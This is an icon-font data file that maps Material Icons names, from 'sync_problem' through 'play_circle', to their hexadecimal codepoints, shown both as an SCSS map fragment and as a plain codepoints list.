"sync_problem": e629, "system_security_update": f072, "system_security_update_good": f073, "system_security_update_warning": f074, "system_update": e62a, "system_update_alt": e8d7, "system_update_tv": e8d7, "tab": e8d8, "tab_unselected": e8d9, "table_bar": ead2, "table_chart": e265, "table_restaurant": eac6, "table_rows": f101, "table_view": f1be, "tablet": e32f, "tablet_android": e330, "tablet_mac": e331, "tag": e9ef, "tag_faces": e420, "takeout_dining": ea74, "tap_and_play": e62b, "tapas": f1e9, "task": f075, "task_alt": e2e6, "taxi_alert": ef74, "telegram": ea6b, "temple_buddhist": eab3, "temple_hindu": eaaf, "terminal": eb8e, "terrain": e564, "text_decrease": eadd, "text_fields": e262, "text_format": e165, "text_increase": eae2, "text_rotate_up": e93a, "text_rotate_vertical": e93b, "text_rotation_angledown": e93c, "text_rotation_angleup": e93d, "text_rotation_down": e93e, "text_rotation_none": e93f, "text_snippet": f1c6, "textsms": e0d8, "texture": e421, "theater_comedy": ea66, "theaters": e8da, "thermostat": f076, "thermostat_auto": f077, "thumb_down": e8db, "thumb_down_alt": e816, "thumb_down_off_alt": e9f2, "thumb_up": e8dc, "thumb_up_alt": e817, "thumb_up_off_alt": e9f3, "thumbs_up_down": e8dd, "thunderstorm": ebdb, "tiktok": ea7e, "time_to_leave": e62c, "timelapse": e422, "timeline": e922, "timer": e425, "timer_10": e423, "timer_10_select": f07a, "timer_3": e424, "timer_3_select": f07b, "timer_off": e426, "tips_and_updates": e79a, "tire_repair": ebc8, "title": e264, "toc": e8de, "today": e8df, "toggle_off": e9f5, "toggle_on": e9f6, "token": ea25, "toll": e8e0, "tonality": e427, "topic": f1c8, "tornado": e199, "touch_app": e913, "tour": ef75, "toys": e332, "track_changes": e8e1, "traffic": e565, "train": e570, "tram": e571, "transcribe": f8ec, "transfer_within_a_station": e572, "transform": e428, "transgender": e58d, "transit_enterexit": e579, "translate": e8e2, "travel_explore": e2db, "trending_down": e8e3, "trending_flat": e8e4, "trending_neutral": e8e4, "trending_up": e8e5, "trip_origin": e57b, "troubleshoot": e1d2, "try": f07c, "tsunami": ebd8, "tty": f1aa, "tune": e429, "tungsten": f07d, "turn_left": eba6, "turn_right": ebab, "turn_sharp_left": eba7, "turn_sharp_right": ebaa, "turn_slight_left": eba4, "turn_slight_right": eb9a, "turned_in": e8e6, "turned_in_not": e8e7, "tv": e333, "tv_off": e647, "two_wheeler": e9f9, "type_specimen": f8f0, "u_turn_left": eba1, "u_turn_right": eba2, "umbrella": f1ad, "unarchive": e169, "undo": e166, "unfold_less": e5d6, "unfold_more": e5d7, "unpublished": f236, "unsubscribe": e0eb, "upcoming": f07e, "update": e923, "update_disabled": e075, "upgrade": f0fb, "upload": f09b, "upload_file": e9fc, "usb": e1e0, "usb_off": e4fa, "vaccines": e138, "vape_free": ebc6, "vaping_rooms": ebcf, "verified": ef76, "verified_user": e8e8, "vertical_align_bottom": e258, "vertical_align_center": e259, "vertical_align_top": e25a, "vertical_distribute": e076, "vertical_shades": ec0e, "vertical_shades_closed": ec0d, "vertical_split": e949, "vibration": e62d, "video_call": e070, "video_camera_back": f07f, "video_camera_front": f080, "video_collection": e04a, "video_file": eb87, "video_label": e071, "video_library": e04a, "video_settings": ea75, "video_stable": f081, "videocam": e04b, "videocam_off": e04c, "videogame_asset": e338, "videogame_asset_off": e500, "view_agenda": e8e9, "view_array": e8ea, "view_carousel": e8eb, "view_column": e8ec, "view_comfortable": e42a, "view_comfy": e42a, "view_comfy_alt": eb73, "view_compact": e42b, "view_compact_alt": eb74, "view_cozy": eb75, "view_day": e8ed, "view_headline": e8ee, "view_in_ar": e9fe, "view_kanban": eb7f, "view_list": e8ef, "view_module": e8f0, "view_quilt": e8f1, "view_sidebar": f114, "view_stream": e8f2, "view_timeline": eb85, "view_week": e8f3, "vignette": e435, "villa": e586, "visibility": e8f4, "visibility_off": e8f5, "voice_chat": e62e, "voice_over_off": e94a, "voicemail": e0d9, "volcano": ebda, "volume_down": e04d, "volume_down_alt": e79c, "volume_mute": e04e, "volume_off": e04f, "volume_up": e050, "volunteer_activism": ea70, "vpn_key": e0da, "vpn_key_off": eb7a, "vpn_lock": e62f, "vrpano": f082, "wallet": f8ff, "wallet_giftcard": e8f6, "wallet_membership": e8f7, "wallet_travel": e8f8, "wallpaper": e1bc, "warehouse": ebb8, "warning": e002, "warning_amber": f083, "wash": f1b1, "watch": e334, "watch_later": e924, "watch_off": eae3, "water": f084, "water_damage": f203, "water_drop": e798, "waterfall_chart": ea00, "waves": e176, "waving_hand": e766, "wb_auto": e42c, "wb_cloudy": e42d, "wb_incandescent": e42e, "wb_iridescent": e436, "wb_shade": ea01, "wb_sunny": e430, "wb_twighlight": ea02, "wb_twilight": e1c6, "wc": e63d, "web": e051, "web_asset": e069, "web_asset_off": e4f7, "web_stories": e595, "webhook": eb92, "wechat": ea81, "weekend": e16b, "west": f1e6, "whatsapp": ea9c, "whatshot": e80e, "wheelchair_pickup": f1ab, "where_to_vote": e177, "widgets": e1bd, "width_full": f8f5, "width_normal": f8f6, "width_wide": f8f7, "wifi": e63e, "wifi_1_bar": e4ca, "wifi_2_bar": e4d9, "wifi_calling": ef77, "wifi_calling_3": f085, "wifi_channel": eb6a, "wifi_find": eb31, "wifi_lock": e1e1, "wifi_off": e648, "wifi_password": eb6b, "wifi_protected_setup": f0fc, "wifi_tethering": e1e2, "wifi_tethering_error": ead9, "wifi_tethering_error_rounded": f086, "wifi_tethering_off": f087, "wind_power": ec0c, "window": f088, "wine_bar": f1e8, "woman": e13e, "woo_commerce": ea6d, "wordpress": ea9f, "work": e8f9, "work_history": ec09, "work_off": e942, "work_outline": e943, "workspace_premium": e7af, "workspaces": e1a0, "workspaces_filled": ea0d, "workspaces_outline": ea0f, "wrap_text": e25b, "wrong_location": ef78, "wysiwyg": f1c3, "yard": f089, "youtube_searched_for": e8fa, "zoom_in": e8ff, "zoom_in_map": eb2d, "zoom_out": e900, "zoom_out_map": e56b, ), $material-icons-codepoints);public/assets/fonts/material/codepoints000060400000113671151724235760014366 0ustar00123 EB8D 360 E577 1x_mobiledata EFCD 1k_plus E95D 1k E95C 19mp E95B 18mp E95A 18_up_rating F8FD 17mp E959 16mp E958 15mp E957 14mp E956 13mp E955 12mp E954 11mp E953 10mp E952 10k E951 2k_plus E964 24mp E962 23mp E961 22mp E960 21mp E95F 20mp E95E 2mp E965 2k E963 3p EFD1 3mp E968 3k_plus E967 3k E966 3g_mobiledata EFD0 3d_rotation E84D 30fps_select EFCF 30fps EFCE 4mp E96A 4k_plus E969 4k E072 4g_plus_mobiledata EFD3 4g_mobiledata EFD2 5mp E96D 5k_plus E96C 5k E96B 5g EF38 6mp E970 6k_plus E96F 6k E96E 6_ft_apart F21E 60fps_select EFD5 60fps EFD4 7k_plus E972 7mp E973 7k E971 8k_plus E975 8mp E976 8k E974 9k_plus E978 9mp E979 9k E977 av_timer E01B autorenew E863 autofps_select EFDC auto_stories E666 auto_mode EC20 auto_graph E4FB auto_fix_off E665 auto_fix_normal E664 auto_fix_high E663 auto_delete EA4C auto_awesome_motion E661 auto_awesome_mosaic E660 auto_awesome E65F audiotrack E3A1 audio_file EB82 attribution EFDB attractions EA52 attachment E2BC attach_money E227 attach_file E226 attach_email EA5E atm E573 assured_workload EB6F assistant_photo E3A0 assistant_navigation E989 assistant_direction E988 assistant E39F assignment_turned_in E862 assignment_returned E861 assignment_return E860 assignment_late E85F assignment_ind E85E assignment E85D assessment E85C aspect_ratio E85B article EF42 art_track E060 arrow_upward E5D8 arrow_right_alt E941 arrow_right E5DF arrow_left E5DE arrow_forward_ios E5E1 arrow_forward E5C8 arrow_drop_up E5C7 arrow_drop_down_circle E5C6 arrow_drop_down E5C5 arrow_downward E5DB arrow_circle_up F182 arrow_circle_right EAAA arrow_circle_left EAA7 arrow_circle_down F181 arrow_back_ios_new E2EA arrow_back_ios E5E0 arrow_back E5C4 area_chart E770 archive E149 architecture EA3B apps_outage E7CC apps E5C3 approval E982 apple EA80 app_shortcut EAE4 app_settings_alt EF41 app_registration EF40 app_blocking EF3F api F1B7 apartment EA40 aod EFDA announcement E85A animation E71C android E859 anchor F1CD analytics EF3E amp_stories EA13 alternate_email E0E6 alt_route F184 all_out E90B all_inclusive EB3D all_inbox E97F align_vertical_top E00C align_vertical_center E011 align_vertical_bottom E015 align_horizontal_right E010 align_horizontal_left E00D align_horizontal_center E00F album E019 alarm_on E858 alarm_off E857 alarm_add E856 alarm E855 airport_shuttle EB3C airplay E055 airplanemode_on E195 airplanemode_off E194 airplanemode_inactive E194 airplanemode_active E195 airplane_ticket EFD9 airlines E7CA airline_stops E7D0 airline_seat_recline_normal E637 airline_seat_recline_extra E636 airline_seat_legroom_reduced E635 airline_seat_legroom_normal E634 airline_seat_legroom_extra E633 airline_seat_individual_suite E632 airline_seat_flat_angled E631 airline_seat_flat E630 air EFD8 agriculture EA79 ads_click E762 adobe EA96 admin_panel_settings EF3D adjust E39E adf_scanner EADA addchart EF3C add_to_queue E05C add_to_photos E39D add_to_home_screen E1FE add_to_drive E65C add_task F23A add_shopping_cart E854 add_road EF3B add_reaction E1D3 add_photo_alternate E43E add_moderator E97D add_location_alt EF3A add_location E567 add_link E178 add_ic_call E97C add_home_work F8ED add_home F8EB add_comment E266 add_circle_outline E148 add_circle E147 add_chart E97B add_card EB86 add_call E0E8 add_business E729 add_box E146 add_alert E003 add_alarm E193 add_a_photo E439 add E145 adb E60E ad_units EF39 account_tree E97A account_circle E853 account_box E851 account_balance_wallet E850 account_balance E84F accessible_forward E934 accessible E914 accessibility_new E92C accessibility E84E access_time_filled EFD6 access_time E192 access_alarms E191 access_alarm E190 ac_unit EB3B abc EB94 business_center EB3F business E0AF bus_alert E98F burst_mode E43C bungalow E591 build_circle EF48 build E869 bug_report E868 bubble_chart E6DD brush E3AE brunch_dining EA73 browser_updated E7CF browser_not_supported EF47 browse_gallery EBD1 broken_image E3AD broadcast_on_personal F8F9 broadcast_on_home F8F8 brightness_medium E1AE brightness_low E1AD brightness_high E1AC brightness_auto E1AB brightness_7 E3AC brightness_6 E3AB brightness_5 E3AA brightness_4 E3A9 brightness_3 E3A8 brightness_2 E3A7 brightness_1 E3A6 breakfast_dining EA54 branding_watermark E06B boy EB67 border_vertical E233 border_top E232 border_style E231 border_right E230 border_outer E22F border_left E22E border_inner E22D border_horizontal E22C border_color E22B border_clear E22A border_bottom E229 border_all E228 bookmarks E98B bookmark_remove E59A bookmark_outline E867 bookmark_border E867 bookmark_added E599 bookmark_add E598 bookmark E866 book_online F217 book E865 bolt EA0B blur_on E3A5 blur_off E3A4 blur_linear E3A3 blur_circular E3A2 bluetooth_searching E1AA bluetooth_drive EFE5 bluetooth_disabled E1A9 bluetooth_connected E1A8 bluetooth_audio E60F bluetooth E1A7 bloodtype EFE4 block_flipped EF46 block E14B blinds_closed EC1F blinds E286 blender EFE3 biotech EA3A bike_scooter EF45 bento F1F4 beenhere E52D bedtime_off EB76 bedtime EF44 bedroom_parent EFE2 bedroom_child EFE1 bedroom_baby EFE0 bed EFDF beach_access EB3E battery_unknown E1A6 battery_std E1A5 battery_saver EFDE battery_full E1A4 battery_charging_full E1A3 battery_alert E19C battery_6_bar EBD2 battery_5_bar EBD4 battery_4_bar EBE2 battery_3_bar EBDD battery_2_bar EBE0 battery_1_bar EBD9 battery_0_bar EBDC bathtub EA41 bathroom EFDD batch_prediction F0F5 bar_chart E26B ballot E172 balcony E58F balance EAF6 bakery_dining EA53 badge EA67 backup_table EF43 backup E864 backspace E14A backpack F19C back_hand E764 baby_changing_station F19B cyclone EBD5 curtains_closed EC1D curtains EC1E currency_yuan EAF9 currency_yen EAFB currency_rupee EAF7 currency_ruble EAEC currency_pound EAF1 currency_lira EAEF currency_franc EAFA currency_exchange EB70 currency_bitcoin EBC5 css EB93 cruelty_free E799 crop_square E3C6 crop_rotate E437 crop_portrait E3C5 crop_original E3C4 crop_landscape E3C3 crop_free E3C2 crop_din E3C1 crop_7_5 E3C0 crop_5_4 E3BF crop_3_2 E3BD crop_16_9 E3BC crop E3BE crisis_alert EBE9 crib E588 credit_score EFF1 credit_card_off E4F4 credit_card E870 create_new_folder E2CC create E150 countertops F1F7 cottage E587 corporate_fare F1D0 coronavirus F221 copyright E90C copy_all E2EC cookie EAAC control_point_duplicate E3BB control_point E3BA control_camera E074 contrast EB37 content_paste_search EA9B content_paste_off E4F8 content_paste_go EA8E content_paste E14F content_cut E14E content_copy E14D contacts E0BA contactless EA71 contact_support E94C contact_phone E0CF contact_page F22E contact_mail E0D0 construction EA3C connecting_airports E7C9 connected_tv E998 connect_without_contact F223 confirmation_number E638 confirmation_num E638 computer E30A compress E94D compost E761 compass_calibration E57C compare_arrows E915 compare E3B9 commute E940 commit EAF5 comments_disabled E7A2 comment_bank EA4E comment E0B9 colorize E3B8 color_lens E3B7 collections_bookmark E431 collections E3B6 coffee_maker EFF0 coffee EFEF code_off E4F3 code E86F co_present EAF0 co2 E7B0 cloudy_snowing E810 cloud_upload E2C3 cloud_sync EB5A cloud_queue E2C2 cloud_off E2C1 cloud_download E2C0 cloud_done E2BF cloud_circle E2BE cloud E2BD closed_caption_off E996 closed_caption_disabled F1DC closed_caption E01C close_fullscreen F1CF close E5CD clear_all E0B8 clear E14C cleaning_services F0FF clean_hands F21F class E86E circle_notifications E994 circle EF4A church EAAE chrome_reader_mode E86D child_friendly EB42 child_care EB41 chevron_right E5CC chevron_left E5CB checkroom F19E checklist_rtl E6B3 checklist E6B1 check_circle_outline E92D check_circle E86C check_box_outline_blank E835 check_box E834 check E5CA chat_bubble_outline E0CB chat_bubble E0CA chat E0B7 charging_station F19D change_history E86B change_circle E2E7 chalet E585 chair_alt EFEE chair EFED center_focus_weak E3B5 center_focus_strong E3B4 cell_wifi E0EC cell_tower EBBA celebration EA65 category E574 catching_pokemon E508 castle EAB1 cast_for_education EFEC cast_connected E308 cast E307 casino EB40 cases E992 carpenter F1F8 card_travel E8F8 card_membership E8F7 card_giftcard E8F6 car_repair EA56 car_rental EA55 car_crash EBF2 candlestick_chart EAD4 cancel_schedule_send EA39 cancel_presentation E0E9 cancel E5C9 campaign EF49 cameraswitch EFEB camera_roll E3B3 camera_rear E3B2 camera_outdoor EFEA camera_indoor EFE9 camera_front E3B1 camera_enhance E8FC camera_alt E3B0 camera E3AF call_to_action E06C call_split E0B6 call_received E0B5 call_missed_outgoing E0E4 call_missed E0B4 call_merge E0B3 call_made E0B2 call_end E0B1 call E0B0 calendar_view_week EFE8 calendar_view_month EFE7 calendar_view_day E936 calendar_today E935 calendar_month EBCC calculate EA5F cake E7E9 cached E86A cable EFE6 cabin E589 dynamic_form F1BF dynamic_feed EA14 dvr E1B2 duo E9A5 dry_cleaning EA58 dry F1B3 drive_folder_upload E9A3 drive_file_rename_outline E9A2 drive_file_move_rtl E76D drive_file_move_outline E9A1 drive_file_move E675 drive_eta E613 draw E746 drag_indicator E945 drag_handle E25D drafts E151 downloading F001 download_for_offline F000 download_done F091 download F090 downhill_skiing E509 double_arrow EA50 doorbell EFFF door_sliding EFFE door_front EFFD door_back EFFC donut_small E918 donut_large E917 done_outline E92F done_all E877 done E876 domain_verification EF4C domain_disabled E0EF domain_add EB62 domain E7EE document_scanner E5FA dock E30E do_not_touch F1B0 do_not_step F19F do_not_disturb_on_total_silence EFFB do_not_disturb_on E644 do_not_disturb_off E643 do_not_disturb_alt E611 do_not_disturb E612 do_disturb_on F08F do_disturb_off F08E do_disturb_alt F08D do_disturb F08C dns E875 dnd_forwardslash E611 display_settings EB97 discount EBC9 discord EA6C disc_full E610 disabled_visible E76E disabled_by_default F230 dirty_lens EF4B directions_walk E536 directions_transit_filled EFFA directions_transit E535 directions_train E534 directions_subway_filled EFF9 directions_subway E533 directions_run E566 directions_railway_filled EFF8 directions_railway E534 directions_off F10F directions_ferry E532 directions_car_filled EFF7 directions_car E531 directions_bus_filled EFF6 directions_bus E530 directions_boat_filled EFF5 directions_boat E532 directions_bike E52F directions E52E dinner_dining EA57 dining EFF4 difference EB7D diamond EAD5 dialpad E0BC dialer_sip E0BB devices_other E337 devices_fold EBDE devices E1B1 device_unknown E339 device_thermostat E1FF device_hub E335 developer_mode E1B0 developer_board_off E4FF developer_board E30D details E3C8 desktop_windows E30C desktop_mac E30B desktop_access_disabled E99D desk F8F4 design_services F10A deselect EBB6 description E873 departure_board E576 density_small EBA8 density_medium EB9E density_large EBA9 delivery_dining EA72 delete_sweep E16C delete_outline E92E delete_forever E92B delete E872 dehaze E3C7 deck EA42 deblur EB77 date_range E916 dataset_linked F8EF dataset F8EE data_usage E1AF data_thresholding EB9F data_saver_on EFF3 data_saver_off EFF2 data_object EAD3 data_exploration E76F data_array EAD1 dashboard_customize E99B dashboard E871 dark_mode E51C dangerous E99A extension_off E4F5 extension E87B exposure_zero E3CF exposure_plus_2 E3CE exposure_plus_1 E3CD exposure_neg_2 E3CC exposure_neg_1 E3CB exposure_minus_2 E3CC exposure_minus_1 E3CB exposure E3CA explore_off E9A8 explore E87A explicit E01E expand_more E5CF expand_less E5CE expand_circle_down E7CD expand E94F exit_to_app E879 event_seat E903 event_repeat EB7B event_note E616 event_busy E615 event_available E614 event E878 ev_station E56D euro_symbol E926 euro EA15 escalator_warning F1AC escalator F1A1 error_outline E001 error E000 equalizer E01D enhanced_encryption E63F enhance_photo_translate E8FC engineering EA3D energy_savings_leaf EC1A emoji_transportation EA1F emoji_symbols EA1E emoji_people EA1D emoji_objects EA24 emoji_nature EA1C emoji_food_beverage EA1B emoji_flags EA1A emoji_events EA23 emoji_emotions EA22 emergency_share EBF6 emergency_recording EBF4 emergency E1EB email E0BE elevator F1A0 electrical_services F102 electric_scooter EB1F electric_rickshaw EB1E electric_moped EB1D electric_meter EC1B electric_car EB1C electric_bolt EC1C electric_bike EB1B elderly_woman EB69 elderly F21A eject E8FB egg_alt EAC8 egg EACC edit_road EF4D edit_off E950 edit_notifications E525 edit_note E745 edit_location_alt E1C5 edit_location E568 edit_calendar E742 edit_attributes E578 edit E3C9 edgesensor_low F006 edgesensor_high F005 eco EA35 east F1DF earbuds_battery F004 earbuds F003 e_mobiledata F002 functions E24A fullscreen_exit E5D1 fullscreen E5D0 front_hand E769 free_cancellation E748 free_breakfast EB44 foundation F200 forward_to_inbox F187 forward_5 E058 forward_30 E057 forward_10 E056 forward E154 forum E0BF fort EAAD format_underlined E249 format_underline E249 format_textdirection_r_to_l E248 format_textdirection_l_to_r E247 format_strikethrough E246 format_size E245 format_shapes E25E format_quote E244 format_paint E243 format_overline EB65 format_list_numbered_rtl E267 format_list_numbered E242 format_list_bulleted E241 format_line_spacing E240 format_italic E23F format_indent_increase E23E format_indent_decrease E23D format_color_text E23C format_color_reset E23B format_color_fill E23A format_clear E239 format_bold E238 format_align_right E237 format_align_left E236 format_align_justify E235 format_align_center E234 fork_right EBAC fork_left EBA0 forest EA99 food_bank F1F2 font_download_off E4F9 font_download E167 follow_the_signs F222 folder_zip EB2C folder_special E617 folder_shared E2C9 folder_open E2C8 folder_off EB83 folder_delete EB34 folder_copy EBBD folder E2C7 foggy E818 fmd_good F00F fmd_bad F00E flutter_dash E00B flourescent F00D flood EBE6 flip_to_front E883 flip_to_back E882 flip_camera_ios EA38 flip_camera_android EA37 flip E3E8 flight_takeoff E905 flight_land E904 flight_class E7CB flight E539 flatware F00C flashlight_on F00B flashlight_off F00A flash_on E3E7 flash_off E3E6 flash_auto E3E5 flare E3E4 flaky EF50 flag_circle EAF8 flag E153 fitness_center EB43 fitbit E82B fit_screen EA10 first_page E5DC fireplace EA43 fire_truck F8F2 fire_hydrant_alt F8F1 fire_hydrant F1A3 fire_extinguisher F1D8 fingerprint E90D find_replace E881 find_in_page E880 filter_vintage E3E3 filter_tilt_shift E3E2 filter_none E3E0 filter_list_off EB57 filter_list_alt E94E filter_list E152 filter_hdr E3DF filter_frames E3DE filter_drama E3DD filter_center_focus E3DC filter_b_and_w E3DB filter_alt_off EB32 filter_alt EF4F filter_9_plus E3DA filter_9 E3D9 filter_8 E3D8 filter_7 E3D7 filter_6 E3D6 filter_5 E3D5 filter_4 E3D4 filter_3 E3D2 filter_2 E3D1 filter_1 E3D0 filter E3D3 file_upload E2C6 file_present EA0E file_open EAF3 file_download_off E4FE file_download_done E9AA file_download E2C4 file_copy E173 fiber_smart_record E062 fiber_pin E06A fiber_new E05E fiber_manual_record E061 fiber_dvr E05D festival EA68 fence F1F6 female E590 feedback E87F feed F009 featured_video E06E featured_play_list E06D fax EAD8 favorite_outline E87E favorite_border E87E favorite E87D fastfood E57A fast_rewind E020 fast_forward E01F family_restroom F1A2 factory EBBC fact_check F0C5 facebook F234 face_retouching_off F007 face_retouching_natural EF4E face E87C groups F233 group_work E886 group_remove E7AD group_off E747 group_add E7F0 group E7EF grid_view E9B0 grid_on E3EC grid_off E3EB grid_goldenratio F017 grid_4x4 F016 grid_3x3 F015 grass F205 graphic_eq E1B8 grain E3EA grading EA4F gradient E3E9 grade E885 gps_off E1B5 gps_not_fixed E1B4 gps_fixed E1B3 gpp_maybe F014 gpp_good F013 gpp_bad F012 golf_course EB45 goat EBFF gite E58B girl EB68 gif_box E7A3 gif E908 get_app E884 gesture E155 generating_tokens E749 gavel E90E gas_meter EC19 garage F011 games E021 gamepad E30F g_translate E927 g_mobiledata F010 hvac F10E hub E9F4 https E88D http E902 html EB7E how_to_vote E175 how_to_reg E174 houseboat E584 house_siding F202 house EA44 hourglass_top EA5B hourglass_full E88C hourglass_empty E88B hourglass_disabled EF53 hourglass_bottom EA5C hotel_class E743 hotel E53A hot_tub EB46 horizontal_split E947 horizontal_rule F108 horizontal_distribute E014 home_work EA09 home_repair_service F100 home_mini F025 home_max F024 home_filled E9B2 home E88A holiday_village E58A hls_off EB8C hls EB8A hive EAA6 history_toggle_off F17D history_edu EA3E history E889 hiking E50A highlight_remove E888 highlight_off E888 highlight_alt EF52 highlight E25F high_quality E024 hide_source F023 hide_image F022 hexagon EB39 hevc F021 help_outline E8FD help_center F1C0 help E887 height EA16 heat_pump EC18 heart_broken EAC2 hearing_disabled F104 hearing E023 health_and_safety E1D5 healing E3F3 headset_off E33A headset_mic E311 headset E310 headphones_battery F020 headphones F01F hdr_weak E3F2 hdr_strong E3F1 hdr_plus F01E hdr_on_select F01D hdr_on E3EE hdr_off_select F01C hdr_off E3ED hdr_enhanced_select EF51 hdr_auto_select F01B hdr_auto F01A hd E052 hardware EA59 handyman F10B handshake EBCB hail E9B1 h_plus_mobiledata F019 h_mobiledata F018 iso E3F6 iron E583 ios_share E6B8 invert_colors_on E891 invert_colors_off E0C4 invert_colors E891 inventory_2 E1A1 inventory E179 interpreter_mode E83B interests E7C8 integration_instructions EF54 install_mobile EB72 install_desktop EB71 insights F092 insert_photo E251 insert_page_break EACA insert_link E250 insert_invitation E24F insert_emoticon E24E insert_drive_file E24D insert_comment E24C insert_chart_outlined E26A insert_chart E24B input E890 info_outline E88F info E88E indeterminate_check_box E909 incomplete_circle E79B inbox E156 important_devices E912 import_export E0C3 import_contacts E0E0 imagesearch_roller E9B4 image_search E43F image_not_supported F116 image_aspect_ratio E3F5 image E3F4 icecream EA69 ice_skating E50B join_right EAEA join_left EAF2 join_inner EAF4 join_full EAEB javascript EB7C kitesurfing E50D kitchen EB47 king_bed EA45 keyboard_voice E31D keyboard_tab E31C keyboard_return E31B keyboard_option_key EAE8 keyboard_option EADF keyboard_hide E31A keyboard_double_arrow_up EACF keyboard_double_arrow_right EAC9 keyboard_double_arrow_left EAC3 keyboard_double_arrow_down EAD0 keyboard_control_key EAE6 keyboard_control E5D3 keyboard_command_key EAE7 keyboard_command EAE0 keyboard_capslock E318 keyboard_backspace E317 keyboard_arrow_up E316 keyboard_arrow_right E315 keyboard_arrow_left E314 keyboard_arrow_down E313 keyboard_alt F028 keyboard E312 key_off EB84 key E73C kebab_dining E842 kayaking E50C lyrics EC0B lunch_dining EA61 luggage F235 lte_plus_mobiledata F02D lte_mobiledata F02C loyalty E89A low_priority E16D loupe E402 loop E028 looks_two E401 looks_one E400 looks_6 E3FF looks_5 E3FE looks_4 E3FD looks_3 E3FB looks E3FC logout E9BA logo_dev EAD6 login EA77 lock_reset EADE lock_person F8F3 lock_outline E899 lock_open E898 lock_clock EF57 lock E897 location_searching E1B7 location_pin F1DB location_on E0C8 location_off E0C7 location_history E55A location_disabled E1B6 location_city E7F1 local_taxi E559 local_shipping E558 local_see E557 local_restaurant E556 local_printshop E555 local_print_shop E555 local_post_office E554 local_police EF56 local_play E553 local_pizza E552 local_phone E551 local_pharmacy E550 local_parking E54F local_offer E54E local_movies E54D local_mall E54C local_library E54B local_laundry_service E54A local_hotel E549 local_hospital E548 local_grocery_store E547 local_gas_station E546 local_florist E545 local_fire_department EF55 local_drink E544 local_dining E556 local_convenience_store E543 local_car_wash E542 local_cafe E541 local_bar E540 local_attraction E53F local_atm E53E local_airport E53D local_activity E53F living F02B live_tv E639 live_help E0C6 list_alt E0EE list E896 liquor EA60 linked_camera E438 link_off E16F link E157 linear_scale E260 line_weight E91A line_style E919 line_axis EA9A lightbulb_outline E90F lightbulb_circle EBFE lightbulb E0F0 light_mode E518 light F02A library_music E030 library_books E02F library_add_check E9B7 library_add E02E lens_blur F029 lens E3FA legend_toggle F11B leave_bags_at_home F21B leak_remove E3F9 leak_add E3F8 leaderboard F20C layers_clear E53C layers E53B launch E895 last_page E5DD laptop_windows E321 laptop_mac E320 laptop_chromebook E31F laptop E31E language E894 landslide EBD7 landscape E3F7 lan EB2F label_outline E893 label_off E9B6 label_important_outline E948 label_important E937 label E892 my_location E55C my_library_music E030 my_library_books E02F my_library_add E02E music_video E063 music_off E440 music_note E405 museum EA36 multitrack_audio E1B8 multiple_stop F1B9 multiline_chart E6DF mp E9C3 moving E501 movie_filter E43A movie_creation E404 movie E02C move_up EB64 move_to_inbox E168 move_down EB61 mouse E323 motorcycle E91B motion_photos_paused E9C2 motion_photos_pause F227 motion_photos_on E9C1 motion_photos_off E9C0 motion_photos_auto F03A mosque EAB2 more_vert E5D4 more_time EA5D more_horiz E5D3 more E619 moped EB28 mood_bad E7F3 mood E7F2 monochrome_photos E403 monitor_weight F039 monitor_heart EAA2 monitor EF5B money_off_csred F038 money_off E25C money E57D monetization_on E263 model_training F0CF mode_standby F037 mode_of_travel E7CE mode_night F036 mode_fan_off EC17 mode_edit_outline F035 mode_edit E254 mode_comment E253 mode F097 mobiledata_off F034 mobile_screen_share E0E7 mobile_off E201 mobile_friendly E200 mms E618 missed_video_call E073 miscellaneous_services F10C minor_crash EBF1 minimize E931 military_tech EA3F microwave F204 mic_off E02B mic_none E02A mic_external_on EF5A mic_external_off EF59 mic E029 messenger_outline E0CB messenger E0CA message E0C9 merge_type E252 merge EB98 menu_open E9BD menu_book EA19 menu E5D2 memory E322 meeting_room EB4F medication_liquid EA87 medication F033 medical_services F109 medical_information EBED mediation EFA7 media_bluetooth_on F032 media_bluetooth_off F031 maximize E930 masks F218 markunread_mailbox E89B markunread E159 mark_unread_chat_alt EB9D mark_email_unread F18A mark_email_read F18C mark_chat_unread F189 mark_chat_read F18B mark_as_unread E9BC margin E9BB maps_ugc EF58 maps_home_work F030 map E55B manage_search F02F manage_history EBE7 manage_accounts F02E man E4EB male E58E mail_outline E0E1 mail_lock EC0A mail E158 numbers EAC7 now_widgets E1BD now_wallpaper E1BC notifications_paused E7F8 notifications_on E7F7 notifications_off E7F6 notifications_none E7F5 notifications_active E7F7 notifications E7F4 notification_important E004 notification_add E399 notes E26C note_alt F040 note_add E89C note E06F not_started F0D1 not_listed_location E575 not_interested E033 not_accessible F0FE north_west F1E2 north_east F1E1 north F1E0 nordic_walking E50E noise_control_off EBF3 noise_aware EBEC no_transfer F1D5 no_stroller F1AF no_sim E0CC no_photography F1A8 no_meeting_room EB4E no_meals_ouline F229 no_meals F1D6 no_luggage F23B no_food F1A7 no_flash F1A6 no_encryption_gmailerrorred F03F no_encryption E641 no_drinks F1A5 no_crash EBF0 no_cell F1A4 no_backpack F237 no_adult_content F8FE no_accounts F03E nights_stay EA46 nightlight_round EF5E nightlight F03D nightlife EA62 night_shelter F1F1 nfc E1BB next_week E16A next_plan EF5D newspaper EB81 new_releases E031 new_label E609 network_wifi_3_bar EBE1 network_wifi_2_bar EBD6 network_wifi_1_bar EBE4 network_wifi E1BA network_ping EBCA network_locked E61A network_check E640 network_cell E1B9 nest_cam_wired_stand EC16 nearby_off F03C nearby_error F03B near_me_disabled F1EF near_me E569 navigation E55D navigate_next E409 navigate_before E408 nature_people E407 nature E406 nat EF5C output EBBE outlined_flag E16E outlet F1D4 outgoing_mail F0D2 outdoor_grill EA47 outbox EF5F outbound E1CA outbond F228 other_houses E58C open_with E89F open_in_new_off E4F6 open_in_new E89E open_in_full F1CE open_in_browser E89D opacity E91C online_prediction F0EB ondemand_video E63A on_device_training EBFD oil_barrel EC15 offline_share E9C5 offline_pin E90A offline_bolt E932 push_pin F10D punch_clock EAA8 published_with_changes F232 publish E255 public_off F1CA public E80B psychology_alt F8EA psychology EA4A propane_tank EC13 propane EC14 production_quantity_limits E1D1 private_connectivity E744 privacy_tip F0DC priority_high E645 print_disabled E9CF print E8AD price_check F04B price_change F04A preview F1C5 present_to_all E0DF pregnant_woman E91E precision_manufacturing F049 power_settings_new E8AC power_off E646 power_input E336 power E63C post_add EA20 portrait E416 portable_wifi_off E0CE pool EB48 polymer E8AB polyline EBBB poll E801 policy EA17 point_of_sale F17E podcasts F048 plus_one E800 plumbing F107 playlist_remove EB80 playlist_play E05F playlist_add_circle E7E5 playlist_add_check_circle E7E6 playlist_add_check E065 playlist_add E03B play_lesson F047 play_for_work E906 play_disabled EF6A play_circle_outline E039 play_circle_filled E038 play_circle_fill E038 play_circle E1C4 